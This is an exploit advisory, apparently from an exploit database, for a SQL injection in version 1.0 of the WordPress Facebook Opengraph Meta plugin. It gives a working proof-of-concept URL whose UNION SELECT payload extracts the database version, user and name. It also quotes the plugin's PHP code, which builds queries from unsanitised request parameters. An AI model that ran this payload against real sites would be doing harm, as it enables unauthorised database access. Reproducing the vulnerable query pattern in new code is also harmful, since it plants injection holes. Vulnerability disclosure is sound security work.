WordPress Facebook Opengraph Meta 1.0 SQL Injection

`# Exploit Title: WordPress Facebook Opengraph Meta Plugin plugin <= 1.0 SQL Injection Vulnerability  
# Date: 2011-09-03  
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)  
# Software Link: http://downloads.wordpress.org/plugin/facebook-opengraph-meta-plugin.zip  
# Version: 1.0 (tested)  
# Note: magic_quotes has to be turned off  
  
---  
PoC  
---  
http://www.site.com/wp-content/plugins/facebook-opengraph-meta-plugin/all_meta.php?pst_title=1') UNION ALL SELECT CONCAT_WS(CHAR(44),version(),current_user(),database()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--%20&page=1&rows=1  
  
---------------  
Vulnerable code  
---------------  
$page = $_GET['page']; // get the requested page  
$limit = $_GET['rows']; // get how many rows we want to have into the grid  
...  
if(isset($_REQUEST["pst_title"]))  
$pst_title = $_REQUEST['pst_title'];  
...  
if($pst_title!=''){  
$where.= " AND (wposts.post_title LIKE '%$pst_title%'";  
$where.= " OR wpostmeta.meta_value LIKE '%$pst_title%')";  
}  
  
$result = $wpdb->get_var("SELECT COUNT(*) AS count FROM $wpdb->postmeta WHERE meta_key = '_OgMeta'");  
$count = $result['count'];  
if( $count >0 )  
{  
$total_pages = ceil($count/$limit);  
}  
else  
{  
$total_pages = 0;  
}  
if ($page > $total_pages)  
$page=$total_pages; $start = $limit*$page - $limit;  
...  
$querystr = "  
SELECT wposts.*  
FROM $wpdb->posts wposts, $wpdb->postmeta wpostmeta  
WHERE wposts.ID = wpostmeta.post_id  
AND wpostmeta.meta_key = '_OgMeta'  
AND wposts.post_status = 'publish'  
AND (wposts.post_type = 'post' OR wposts.post_type = 'page')".$where.  
"ORDER BY wposts.post_date DESC  
LIMIT $start , $limit  
";  
  
$result = $wpdb->get_results($querystr);//, OBJECT);  
  
  
`